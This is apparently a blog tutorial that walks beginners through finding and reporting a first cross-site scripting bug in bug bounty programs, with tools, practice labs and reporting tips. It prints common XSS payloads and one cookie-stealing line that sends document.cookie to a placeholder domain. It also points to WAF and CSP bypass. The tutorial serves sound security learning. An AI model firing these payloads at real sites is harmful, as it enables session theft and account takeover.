



[< Go to the original](#)

*** THE HACKER'S LOG**

How to Find Your First XSS Bug in 24 Hours - Guaranteed!



How to Find Your First XSS Bug in 24 Hours — Guaranteed!

How to Find Your First XSS Bug in 24 Hours — Guaranteed Strategy



Follow

👤 InfoSec Write-ups androidstudio ~7 min read ·
June 30, 2025 (Updated: June 30, 2025) · Free: No

Cross-Site Scripting, or XSS, is one of the most common and rewarding vulnerabilities you can hunt. If you're new to bug bounty or web app security, this is the perfect starting point. In this comprehensive guide, you'll learn how to go from zero to reporting your first XSS bug in just 24 hours — guaranteed. Let's go, hacker! 🐞💣

🤔 Why XSS Is The Perfect First Bug

Before we dive in, let's talk about why XSS is ideal for newcomers:

✅ It's everywhere — found on millions of sites ✅ Visually rewarding — seeing your alert box pop is magic ✅ Fast feedback — easy to confirm working exploits ✅ Highly paid — bug bounty platforms love XSS ✅ Skills scale — once you know XSS, you can pivot to harder bugs

XSS is the bread-and-butter of web vulnerability hunting. It's simple to understand, easy to test for, and still valuable in 2025. That's why it should be your first serious target.

🕒 The 24-Hour XSS Blueprint

This is a **battle-tested roadmap** to go from clueless to bug reporter in 24 hours:

👉 Hour 1–2 — Understand what XSS really is 👉 Hour 3–5 — Set up your hacking tools 👉 Hour 6–10 — Practice in safe playgrounds 👉

Stick to this timeline, and I promise you'll learn faster than 90% of beginner hackers.

Hour 1–2: Understand XSS Fundamentals


First, let's make sure you know what you're hunting.


Cross-Site Scripting (XSS) is when an attacker injects malicious code (often JavaScript) into a website that runs in other users' browsers. Instead of treating input as harmless text, the website executes it as code.

This opens the door to:

- Stealing cookies
- Hijacking user accounts
- Defacing web pages
- Phishing
- Launching bigger attacks (like account takeovers)

Three main XSS flavors you must know:

 **Reflected XSS** When the payload is sent in the request and reflected back immediately, for example via a search parameter in the URL.

 **Stored XSS** The payload is saved in the application's database and shown to all visitors. Think comment sections, profiles, support tickets.

👉 If you remember *one* thing: XSS happens because the site forgets to properly handle your input.

Read these next if you have time:

✅ [OWASP XSS Cheat Sheet](#) ✅ [PortSwigger Academy XSS Guide](#) ✅ [Google's XSS Game](#)

Set a timer for 2 hours. Watch YouTube explanations, skim these resources, and understand the "why" of XSS. After that, you're ready for tools.

⚙️ Hour 3–5: Build Your Hacking Toolbox

Don't get lost in endless installs — keep it simple.

Essentials for XSS hunting:

✅ [Burp Suite Community Edition](#) — intercept and modify requests
✅ [Google Chrome](#) (with DevTools) ✅ [HackTools](#) (browser extension with ready-made payloads) ✅ [XSStrike](#) — automated XSS fuzzer
✅ [A notepad](#) (seriously, keep your notes organized!)

Optional nice-to-haves:

- [ParamSpider](#) — find hidden GET parameters
- [Waybackurls](#) — find historical endpoints
- [Dalfox](#) — advanced XSS scanner

🎯 By the end of hour 5, you should:

✅ Know how to intercept requests in Burp ✅ Be able to modify parameters on the fly ✅ Have a list of 3–5 common XSS payloads

🔧 Hour 6–10: Practice in Safe Playgrounds

Before you hit real-world apps, train on **legal** targets. Here's your playground:

🌟 [PortSwigger XSS Labs](#) 🌟 [OWASP Juice Shop](#) 🌟 [bWAPP](#) 🌟 [HackTheBox Web Challenges](#)

These platforms are **built** for you to practice breaking stuff. That means no lawyers knocking on your door. 😊

Your practice checklist:

✅ Identify where user input is displayed ✅ Send a simple string like `test123` ✅ Look if it comes back to you ✅ Replace it with `<script>alert(1)</script>` ✅ Confirm if it fires an alert

Classic starter payloads to memorize:

Copy

```
<script>alert(1)</script>
"><img src=x onerror=alert(1)>
'><svg/onload=alert(1)>
```

Try variations, like encoding characters or breaking attributes:

```
<iframe src=javascript:alert(1)>
```

If you see that alert, congrats — you've found an XSS. Screenshot it, because even in the lab, that's a dopamine hit you won't forget!

Hour 11–18: Choose a Real-World Target

Ready to go live? You'll need permission. Sign up for these:

 [HackerOne](#)  [Bugcrowd](#)  [YesWeHack](#)


Focus on programs that:

 Allow testing on production  Have a decent bounty payout 
Are marked as *web applications*

Look for web features like:

 Search bars  Comment sections  Contact/feedback forms 
Profile update pages

These are *hot spots* for reflected and stored XSS because user input is commonly displayed back to users.

 *Pro tip:* Avoid starting with huge Fortune 500 programs. They usually have layers of protections and will crush your motivation. Go for smaller, friendlier scopes.

Your hour 11–18 mission:

 Read the program policy  Make a list of parameters to test 
Test them with a harmless string like `123test`  Note where it

If you find reflections, you've hit a goldmine for the next phase.

Hour 19–23: Hunt Like a Pro

Now you shift to a **systematic attack plan**. Here's how pros do it:

✓ **Step 1: Parameter Mapping** Write down every parameter you see

— `q=` , `search=` , `message=` , `comment=` .

✓ **Step 2: Reflection Check** Send something harmless, like `zzzz` , and see where it comes back.

✓ **Step 3: Context Check** Is your input inside HTML? JavaScript? Attributes? Comments? Different contexts need different payloads.

✓ **Step 4: Payload Escalation** Start from basic `<script>alert(1)</script>` and scale up to:

Copy

```
"><svg/onload=confirm(1)>
"><iframe src=javascript:alert(1)>
```

✓ **Step 5: Automate** Load your wordlist into Burp Intruder or XSSStrike, fire hundreds of payloads, and check which ones land.

✓ **Step 6: Validate** Don't stop at `alert(1)` . Check for cookie stealing with:

Copy

```
<script>fetch('https://yourdomain/pwn?cookie='+document.cookie)</s
```

Document everything in a spreadsheet or your notebook. When your payload fires, you'll have all the proof you need for a perfect report.



Hour 24: Report Like a Hacker Rockstar

Great — you popped your alert! Now you need to get paid or recognized.

A strong report includes:

- ✓ A clear, readable title (*Reflected XSS on search parameter*) ✓
- Impact explained (*could steal user sessions*) ✓
- Steps to reproduce ✓
- Screenshots and screen recordings ✓
- Suggested fix (usually output encoding + proper HTML context handling)

👉 **Pro tip:** Check out [HackerOne disclosure guidelines](#) so you write in their expected format.

A great report is what separates paid researchers from script kiddies.



Advanced XSS Tips to Boost Your Success

Once you have a basic workflow, it's time to sharpen your skills even more:

- ✓ Learn about **context** — attributes, inline JavaScript, event handlers ✓
- Practice **filter bypass** — use `<` instead of `<`, or other HTML entities ✓
- Test in **multiple browsers** — XSS sometimes works in Chrome but not Firefox ✓
- Read **source code** if possible

🧠 *XSS is a mind game.* Developers *think* they patched it, but attackers always find a new way.

🏆 The Bug Hunter's Mindset

Hunting bugs is a marathon, not a sprint. You need:

✅ **Curiosity** — never stop asking *why* a payload fails ✅ **Persistence** — try 50 variations, then 50 more ✅ **Documentation** — write down every finding ✅ **Ethics** — only hack with permission

Trust me: your **first** XSS will feel impossible. Your **second** will feel easy. Your **third** will feel unstoppable.

📈 Where to Go Next?

Congrats on finishing the 24-hour XSS challenge! Here's where to take your skills:

🚀 **Advanced filter bypass** — WAF evasion 🚀 **CSP bypass** — learn how to break content security policy 🚀 **JavaScript frameworks** — React, Angular, Vue XSS vectors 🚀 **Bug bounty CTF events** — try HackTheBox or CTFTime 🚀 **Write your own XSS wordlist** — build unique payloads no one else uses

If you can master XSS, you can pivot into **account takeover**, **IDOR**, or **business logic bugs** — way higher payouts!

🧩 Resources to Keep Learning

Walkthroughs

Bookmark these — they will *seriously* level up your hacking game.

Final Thoughts

👉 You don't need years of experience. 👉 You don't need fancy tools. 👉 You *do* need focus, curiosity, and 24 hours of commitment.

Pop your first XSS, submit a solid report, and feel the power of hacking for good.

That adrenaline rush of seeing your first `alert(1)` in a live app? You'll never forget it. And trust me — it's only the beginning.

Let's Connect!

If this guide helped you, I'd love to connect:

✅ **Follow me on Medium** for more hacking & bug bounty articles: <https://medium.com/@vipulsonule71> ✅ **Follow on Twitter** for daily hacking gems: <https://x.com/VipulSonule> ✅ **Connect on LinkedIn** to grow your security network: <https://www.linkedin.com/in/vipul-sonule-85700b202/> ✅ **Subscribe for free** to my weekly newsletter on Substack for security insights & free hacking resources: thehackerslog.substack.com

Stay curious, stay ethical, and happy hacking!  

#hacking #bug-bounty #programming #tech #cybersecurity